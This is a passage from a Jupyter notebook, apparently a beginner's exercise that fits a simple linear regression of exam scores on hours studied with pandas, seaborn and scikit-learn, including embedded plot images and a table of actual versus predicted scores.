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", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "sns.lmplot(x=\"Hours\",y=\"Scores\", data=df)\n", - "plt.title(\"Plotting the regression line\")\n", - "#sns.regplot(x=\"Hours\", y=\"Scores\", data=df)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "From the graph above, we can see that there is a **positive linear relationship** between the *number of hours* studied and the *scores obtained*. We can say that with the increase of Hours studied(x), there is an increase in the scores obtained(y)." - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Dividing the data into attributes(inputs) and labels (outputs)" - ] - }, - { - "cell_type": "code", - "execution_count": 13, - "metadata": {}, - "outputs": [], - "source": [ - "X = df.iloc[:, :-1].values\n", - "y = df.iloc[:, -1].values" - ] - }, - { - "cell_type": "code", - "execution_count": 14, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([[2.5],\n", - " [5.1],\n", - " [3.2],\n", - " [8.5],\n", - " [3.5],\n", - " [1.5],\n", - " [9.2],\n", - " [5.5],\n", - " [8.3],\n", - " [2.7],\n", - " [7.7],\n", - " [5.9],\n", - " [4.5],\n", - " [3.3],\n", - " [1.1],\n", - " [8.9],\n", - " [2.5],\n", - " [1.9],\n", - " [6.1],\n", - " [7.4],\n", - " [2.7],\n", - " [4.8],\n", - " [3.8],\n", - " [6.9],\n", - " [7.8]])" - ] - }, - "execution_count": 14, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([21, 47, 27, 75, 30, 20, 88, 60, 81, 25, 85, 62, 41, 42, 17, 95, 30,\n", - " 24, 67, 69, 30, 54, 35, 76, 86], dtype=int64)" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Splitting the dataset into the Training set and Test set" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "metadata": {}, - "outputs": [], - "source": [ - "from sklearn.model_selection import train_test_split\n", - "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Training the Simple Linear Regression model on the Training set" - ] - }, - { - "cell_type": "code", - "execution_count": 17, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "LinearRegression(copy_X=True, fit_intercept=True, n_jobs=None, normalize=False)" - ] - }, - "execution_count": 17, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "from sklearn.linear_model import LinearRegression\n", - "regressor = LinearRegression()\n", - "regressor.fit(X_train, y_train)" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Predicting the Test set results" - ] - }, - { - "cell_type": "code", - "execution_count": 18, - "metadata": {}, - "outputs": [], - "source": [ - "y_pred = regressor.predict(X_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "array([17.04289179, 33.51695377, 74.21757747, 26.73351648, 59.68164043,\n", - " 39.33132858, 20.91914167, 78.09382734, 69.37226512])" - ] - }, - "execution_count": 19, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
ActualPredicted
02017.042892
12733.516954
26974.217577
33026.733516
46259.681640
53539.331329
62420.919142
78678.093827
87669.372265
\n", - "
" - ], - "text/plain": [ - " Actual Predicted\n", - "0 20 17.042892\n", - "1 27 33.516954\n", - "2 69 74.217577\n", - "3 30 26.733516\n", - "4 62 59.681640\n", - "5 35 39.331329\n", - "6 24 20.919142\n", - "7 86 78.093827\n", - "8 76 69.372265" - ] - }, - "execution_count": 20, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "# Comparing Actual vs Predicted\n", - "df1 = pd.DataFrame({'Actual': y_test, 'Predicted': y_pred}) \n", - "df1" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "# Visualising the Training set results" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAAX4AAAEWCAYAAABhffzLAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjMsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+AADFEAAAgAElEQVR4nO3deZRcVb328e9DEiAJc4i+SEgiM8KFgC0qEV4ugzIoCi8KrEYDikGuCjgwKCiyFAfwouAEkSgIAUWGC5fLaBgEVGISAiGEQchAwhQvEAgdJCG/9499mq4e0qnurlOnhuezVlbV2amq80sgT+3ee599FBGYmVnzWKvoAszMrLoc/GZmTcbBb2bWZBz8ZmZNxsFvZtZkHPxmZk3GwW91R9IPJJ2c02dPkHRLpV+bF0lDJT0uaUSRdVh9kdfxWz2RNBKYBWwNHAZcnP3WIGAdoK39tRGxXtULzJmk+4BLIuLSkrZvAhtGxGmFFWZ1xT1+qzfHADdHxPKImBIR62UBfyDwbPtxT6EvaXC1i62SKcCxkoYUXYjVBwe/1ZsDgXvKfbGkRZJOkTSb7KcBSWdKelrSa5LmSDqk5PXHSbo7ez5YUkg6XtI/JL0s6cKeXpsdHyjpCUlLJf1M0v2SjllNXR+QNFPSq5JekHReye+Nl/Q3Sa9ImiVpr6z9R8AHgYskLZP0U4CIWAC8Duxe7t+LNTcHv9WbfwMe7+N7jiR9YWyYHT8BjM+OzwGulPTOXt5/EPBeYFfgaEn7dX2BpHcAVwOnAJsC8+g9iH8GnBcRG5CGra7JPmcL4EbgLGAT4HTgOkkjsqGcvwJfyH6qKZ3nmAvs0sv5zN7m4Ld6sxHwWh/fc0FELIqI5QARcXVEPBcRqyLiSmA+0NLL+38QEUsjYj5wNzCuh9d8FJgVETdExArgJ8A/e/nMFcA2WaC/FhEPZO2fAW6MiNuy+m4FHgIOWMOf8TXS343ZGjn4rd68DKzfx/c8U3og6RhJD2VDKa8A25N66avzfMnzNqCnSeN3lZ4n0qqJRb185rHAe4DHJU2TdFDWPgY4qr22rL4PZJ/fm/WBV9bwGjPAwW/152Fg2z6+5+2la5K2BH4FnACMiIiNgMcADbCu54BRJecRsPlqC4p4PCKOBN4B/CdwraR1SV8ev42IjUp+DY+I9jmA1S3D24H0k4HZGjn4rd7cDPzfAbx/PVJ4LiHl83GkHv9A3QTsJulj2eqhk4CRq3uxpE9L2jQiVgFLs5pWAZcDh0raX9IgSetK+ndJ7T3+F4Atu3zW6OzP9fcK/DmsCTj4rd78DjhI0tD+vDkiHgYuBKaReunbAw/0+qbyPvcF4AjgfOB/ga2AB4F/reYtBwFzJb0G/Bg4IiLezOYRDgW+RfpyWgh8jY5/qz+lYyjo/KytlfRTwpsD/XNYc/AFXFZ3JH0feDEiflp0LasjaRDwLHB4RNyb43mGki5oGx8RvU0mm73NwW9WIZIOIC23fAP4BvB5YMuIWF2v36wQHuoxq5wPAU+TlnEeAHzCoW+1yD1+M7Mm4x6/mVmTqYtNqzbddNMYO3Zs0WWYmdWVGTNm/DMiui0rrovgHzt2LNOnTy+6DDOzuiJpQU/tHuoxM2syDn4zsybj4DczazIOfjOzJuPgNzNrMg5+M7NqmDIFxo6FtdZKj1OmFFZKXSznNDOra1OmwMSJ0NaWjhcsSMcAra1VL8c9fjOzvJ1xRkfot2trS+0FcPCbmeVt4cK+tefMwW9mlrfRo/vWnjMHv5lZ3s45B4YN69w2bFhqL4CD38wsb62tMGkSjBkDUnqcNKmQiV3wqh4zs+pobS0s6Ltyj9/MrMk4+M3MmoyD38ysBv3pTzBnTj6f7TF+M7MasngxjBqVnm+zDTzxROXP4R6/mVkNiIDPfKYj9CH1+vPg4DczK9j996e92y6/PB1fcEH6Isjr+i4P9ZiZFeSNN9JwzqJF6fid74R582Do0HzP6x6/mVkBfvnLFPDtoX/PPfD88/mHPrjHb2ZWVYsWwRZbdBwfdVTatVmqXg3u8ZuZVUEErL9+59B/5hm48soeQj/nm7Y4+M3McnbOOSnDly1Lxz//efoiKF3B87b2m7YsWJBe1H7TlgqGvyKiYh+Wl5aWlpg+fXrRZZiZ9ckrr8DGG3dv23DDXt40dmwK+67GjIH58/t0fkkzIqKla7t7/GZmOdhuu86h//3vpw58r6EPVblpiyd3zcwq6C9/gfHjO7etWtWHydvRo3vu8VdwUb97/GZmFRCRwr009B94oKO9bFW4aYuD38xsgL773TR5227nnVPg7757Pz6sCjdtcfCbWf3JebljuV5+OWXzt7/d0bZ0KTz00AA/uLU1TeSuWpUeK3wDFwe/mdWXKix3LMdWW8Emm3Qcn3tuKmeDDapaRr94OaeZ1ZcKLnfsj/vugz337NxWqzG6uuWcXtVjZvWlCssdexLReRwf4O9/h5ZusVr7PNRjZvVldcsa89rDmNTDLw39wYPTF0E9hj44+M2s3lRhuWO7RYvS5O1993W0/fOfsGJFxU9VVQ5+M6svVVjuCOmjSzdUO+KI1MsfMaKipymEx/jNrP60tlY86Nv97ncwYULntlqdvO0vB7+ZGT1P3t58Mxx4YDH15MnBb2ZN7/3vh2nTOrc1Wi+/lMf4zaxpLVyYxvJLQ/+lUTsTKvaK4Lw5+M2sKbXPC7dr3WMeMWw4Gy+aXegVwdWQa/BL+oqkOZIekXSVpHUlvVvSA5KelPQHSWvnWYOZWanJk7vvlhkBVyz+d2hr6/wbbW1wxhnVK65Kcgt+SZsDJwItEbETMAg4EvgR8JOI2AZ4GfhcXjWYmbVr3xP/uOM62m67rWQsv6ArgouQ91DPYGCopMHAMOA5YB/gmuz3LwM+kXMNZtbkdt0VBg3q3BYBH/5wSUMBVwQXJbfgj4jFwI+BhaTAXwrMAF6JiJXZyxYBm+dVg5k1t3nzUi9/1qyOtldeWc2KnSpeEVy0PId6NgY+DrwbeBcwHOhpRWyPi6YkTZQ0XdL0JUuW5FWmmTUoCbbcsuP4s59dwz1vq3RFcC3Icx3/fsC8iFgCIOk6YA9gI0mDs17/KODZnt4cEZOASZC2Zc6xTjNrIBdfDF/4Que2stfk53hFcC3Jc4x/IfABScMkCdgXeBS4Czg8e80E4IYcazCzJtE+eVsa+lOnNvaFWP2V5xj/A6RJ3JnA7Oxck4DTgK9K+gcwApicVw1m1hx23LHnydt99immnlqX65YNEXEWcFaX5qeB/tyC2Mysk6eegq237tz26quw/vrF1FMvfOWumdUlqXPoT5yYevkO/TVz8JtZXfnKV3q+8vbii4uppx55d04zqwsrV8KQIZ3brrsODj20mHrqmYPfzGpe1x4+eLXOQHiox8xq1syZ3UP/5ZcLDP0pU9J2zWvV97bN7vGbWU3qGvh77AH3319MLUAK+YkTO3bwbN+2Geruoi/3+M2spnzpSz1P3hYa+pC2Z26QbZvd4zezmrBiBazd5e4c//Vf8PGPF1NPNw20bbOD38wKVxeTt6NHp+GdntrrjId6zKww06Z1D/2lS2sw9KGhtm128JtZISR4//s7jvfeOwX+BhsUVlLvGmjbZg/1mFlVHXdcuu9tqZrs4fekQbZtdvCbWVW8+Sass07ntptugoMPLqaeZubgN7Pc1cXkbRPxGL+Z5eavf+0e+q+95tAvmoPfzHIhpatt2x1wQAr89dYrriZLHPxmVlHHHNPzlbe33FJIOdYDj/GbWUX861+w7rqd2269FT7ykWLqsdVz8JvZgHnytr54qMfM+u3ee7uH/rJlDv1a5+A3s36RYK+9Oo4POSQF/vDhxdVk5XHwm1mfHHlkz5O3N9xQTD3Wdx7jN7OyLF/efY+yqVNhn32Kqcf6zz1+s0aQ8y0Bpe6hH+HQr1cOfrN6135LwAULUhq33xKwAuF/113dh3Xa2jx5W+8c/Gb1LqdbAkqde/SHH54Cf+jQAX2s1QCP8ZvVuwrfEvDQQ9MtD0u5h99Y3OM3q3eru/VfH28J2NaWevmloX/PPQ79RuTgN6t3FbgloNR9/X1E53X61jgc/Gb1bgC3BLzjju6Tt8uXu5ff6DzGb9YI+nFLwK6B39oKV1xRwZqsZjn4zZrMwQfDzTd3bnMPv7k4+M2axLJlsP76ndvuuw/Gjy+mHiuOg9+sCXjbZCvlyV2zBnbLLd1D/403HPrNzsFv1qAkOOigjuNjj02Bv846xdVktcFDPWYNZr/90q6ZpdzDt1Lu8Zs1iFdfTb380tD/298c+tade/xmDcCTt9YX7vGb1bH//u/uof/mmw59612uwS9pI0nXSHpM0lxJH5S0iaQ7JD2ZPW6cZw1mNaPCN0uR0n1u2x1/fAr8IUMG9LHWBPLu8V8A3BoR2wO7AHOB04GpEbENMDU7NmtsFbxZyp579nzP24suqlCt1vAUOf1MKGkD4CFgyyg5iaTHgb0j4jlJmwF3R8R2vX1WS0tLTJ8+PZc6zapi7NgU9l2NGQPz55f1EUuXwkYbdW6bPh3e+94BV2cNStKMiGjp2p7n5O6WwBLgt5J2AWYAJwHvjIjnALLwf8dqCp4ITAQY3cd9xc1qzgBvluLJW6uksoZ6JH1S0vrZ8zMlXSdptzW8bTCwG/CriNgVeJ0+DOtExKSIaImIlpEjR5b7NrPa1M+bpVx/fffQX7HCoW8DU+4Y/7ci4jVJHwI+AlwG/GoN71kELIqIB7Lja0hfBC9kQzxkjy/2vWyzOtOPm6VIcNhhHccnnpgCf7AXYdsAlRv8b2WPB5N68DcAa/f2hoh4HnhGUvv4/b7Ao8CNwISsbQJwQ58qNqtHfbhZyu679zx5e8EFVarVGl5Zk7uSbgIWA/sB7wWWA9MiYpc1vG8ccAnpS+Jp4FjSl83VwGhgIfDJiHipt8/x5K41g5deghEjOrc9+CCMG1dMPVb/Bjq5+yngAODHEfFKNkRzypreFBGzgG4nJfX+zSzjyVurprKGeiKijTQW/6GsaSXwZF5FmTWLP/yhe+ivXOnQt3yVu6rnLOA04BtZ0xDAd+c0GwAJjjyy4/jrX0+BP2hQcTVZcyh3qOdQYFdgJkBEPNu+vNPM+maXXeDhhzu3uYdv1VTuqp43s6tvA0DS8PxKMmtMzz+fevmloT97tkPfqq/cHv/Vki4GNpL0eeCzwK/zK8ussXjy1mpJuZO7PyZdgHUtsB3w7Yj4WZ6FmVVNhXfNLPWTn3jy1mrPGnv8kgYBt0XEfsAd+ZdkVkXtu2a2taXj9l0zoceLq/qia+AfeSRcddWAPtKsItbY44+It4A2SRtWoR6z6jrjjI7Qb9fWltr7Ser5yluHvtWKcsf43wBmS7qDtNkaABFxYi5VmVXLAHfNLLV4MYwa1bnN2yZbLSo3+P8n+2XWWEaP7nmf/D5uBe7JW6sn5U7uXgZcRdpTfwZwZdZmVt/6sWtmqR/+sHvov/WWQ99qW1k9fkl7k7Zing8I2ELShIj4c36lmVVB+wTuGWek4Z3Ro1PolzGx2zXwJ0yASy+tfIlmlVbuUM9/Ah+OiMcBJG1L+gnAo5dW/1pb+7SCx8M6Vu/KvXJ3SHvoA0TEE6T9esyaxsKF3UP/wQcd+lZ/yu3xT5c0Gbg8O24ljfWbNQX38q2RlNvjPwGYA5xIumH6o8AX8irKrFacfbYnb63xlNvjHwxcEBHnw9tX866TW1VmNaBr4B9/PFx0UTG1mFVSucE/lXTbxWXZ8VDgdmCPPIoyK5KHdazRlTvUs25EtIc+2fNhvbzerO7Mm9c99B95xKFvjafcHv/rknaLiJkAklpIN1w3awju5VszKbfHfzLwR0n3Svoz8HvgS/mVZVYdZ57ZPfRXrXLoW2PrNfglvU/S/4mIvwPbA38g3Wj9VmBeFeozy0VECvzSnRm+/OWOdrNGtqYe/8XAm9nzDwLfBH4BvAxMyrEus9xI6Z4rpSLgwgvLeHOON20xq5Y1Bf+giHgpe34EMCkiro2IbwFb51uaWWU9+WT33vyjj/ZhWKf9pi0LFqQ3td+0xeFvdWaNwS+pfQJ4X+DOkt8rd2LYrHASbLtt57YI2GGHPnxIDjdtMSvCmoL/KuAeSTeQVvHcCyBpa2BpzrWZDdjXv17BydsK3rTFrEi99toj4hxJU4HNgNsj3v7nshbw5byLM+uviO7j+F//Opx33gA+tEI3bTEr2hqHayLibz20PZFPOWYDl9ua/HPO6XxjdujTTVvMakW56/jNat4//tE99J94ooJr8ltbYdIkGDMmnWjMmHTch738zWqBJ2itIVTtyts+3rTFrBa5x291zVfemvWde/xWl3qavP3BD+D004upx6yeOPit7nhDNbOB8VCP1Y3HHuse+u0X0ZpZ+Rz8tmY1sD+N1P0q2wgvoTfrDwe/9a7g/WlOO617Lz/CvXyzgXDwW+8K2p9m1aoU+Oee29F2/vkOfLNKcPBb7wrYn0aCQYM6t0XAV77Shw+pgeEps1rl4LferW4QPYfB9Tlzug/rLFrUj16+t08261XuwS9pkKQHJd2UHb9b0gOSnpT0B0lr512DDcA556T9aErlsD+NBDvt1HE8eHDK7M0378eHeftks15Vo8d/EjC35PhHwE8iYhvSnbw+V4UarL9y3p/m5JN7nrxdsWIAH+rtk816lWvwSxoFHAxckh0L2Ae4JnvJZcAn8qzBKqC1FebPTzOu8+dXJPTbJ28vuKCj7cILKzR5W8XhKbN6lHeP/6fAqcCq7HgE8EpErMyOFwE9/jAvaaKk6ZKmL1myJOcyrZpWN3n75Urd4aFKw1Nm9Sq34Jf0UeDFiJhR2tzDS3vs40XEpIhoiYiWkSNH5lKjVdfDD3cf1nn22RyWaHr7ZLNe5blXz3jgEEkHAesCG5B+AthI0uCs1z8KeDbHGqxGdA384cNh2bIcT+jtk81WK7cef0R8IyJGRcRY4EjgzohoBe4CDs9eNgG4Ia8arHgnnNDz5G2uoW9mvSpiHf9pwFcl/YM05j+5gBosZ2+9lQL/oos62i6+2FfemtWCqmzLHBF3A3dnz58Gdq/Gea0Y3jbZrLb5yl2rmJkzu4f+Cy849M1qjW/EYhXRNfA33RS8CtesNrnHbwPyuc/1PHnr0DerXQ5+65eVK1Pg/+Y3HW2TJ3tYx6weeKjH+syTt2b1zT1+K9u0ad1Df8kSh75ZvXGP38rSNfBHjYJnnimmFjMbGPf4rVdnn93z5K1D36x+ucdvPVq5EoYM6dx27bVw2GHF1GNmlePgt248eWvW2DzUY2+bPbt76L/6qkPfrNE4+A1Igb/zzh3Hhx+eAn/99Yuryczy4eBvcmee2fPk7R//WEw9ZpY/j/E3qRUrYO21O7fdfjvsv38x9ZhZ9Tj4m5Anb82am4d6GsWUKTB2LKy1VnqcMqXbS2bN6h76r702wNAv47xmVlvc428EU6bAxInQ1paOFyxIx/D2fWe7Bn5rK1xxRf7nNbPao6iDn/FbWlpi+vTpRZdRu8aOTaHb1ZgxnPqp+Zx3Xufmiv0n7+W8zJ9foZOYWX9JmhERLV3bPdTTCBYu7Nb0JkPQgs6hf9ddFR7L7+G8vbabWU3wUE8jGD26U89bdE/3XH6w63LeTu1mVrPc428E55wDw4bxDKO6hf7rr+e4Yic7byfDhqV2M6tZDv5G0NrKnqPmMZqOLTOP3espIrrncqXPy6RJaUxfSo+TJnli16zGeainzt17L+y1F8A73m5LPfytqlNAa6uD3qzOOPjr1FtvweAu//UWL4Z3vauYesysfniopw798IedQ/8730m9fIe+mZXDPf468sYbMHRo57YVK7r3/M3MeuMef52YOrXztslTp6ZevkPfzPrKwV/jliyBz3wG9tsvBf0dd6THffbp8kLvmWNmZXJ/sUatWgW//S2cemraSO3MM+Gb3+w+1AN4zxwz6xP3+GvQo4/C3nvDccfBjjvCQw/Bd7+7mtAHOOOMjtBv19aW2s3MunDw15Dly+Fb34Jx42DOHJg8Ge6+G3bYYQ1v9J45ZtYHDv4a8ac/pcnb730PjjoKHnsMPvvZNGS/RqvbG8d75phZDxz8BXvxRTj66HTLQymt1rnsMhg5sg8f4j1zzKwPHPwFWbUKLrkEtt8err4avv1tePjhHlbrlMN75phZH3hVTwHmzIHjj4f770/77Fx8cfoCGBDvmWNmZXKPv4qWL08LbcaNg7lz03LNu++uQOibmfWBe/xVcvvtcMIJ8PTTMGECnHdeH8fxzcwqxD3+nL3wQhq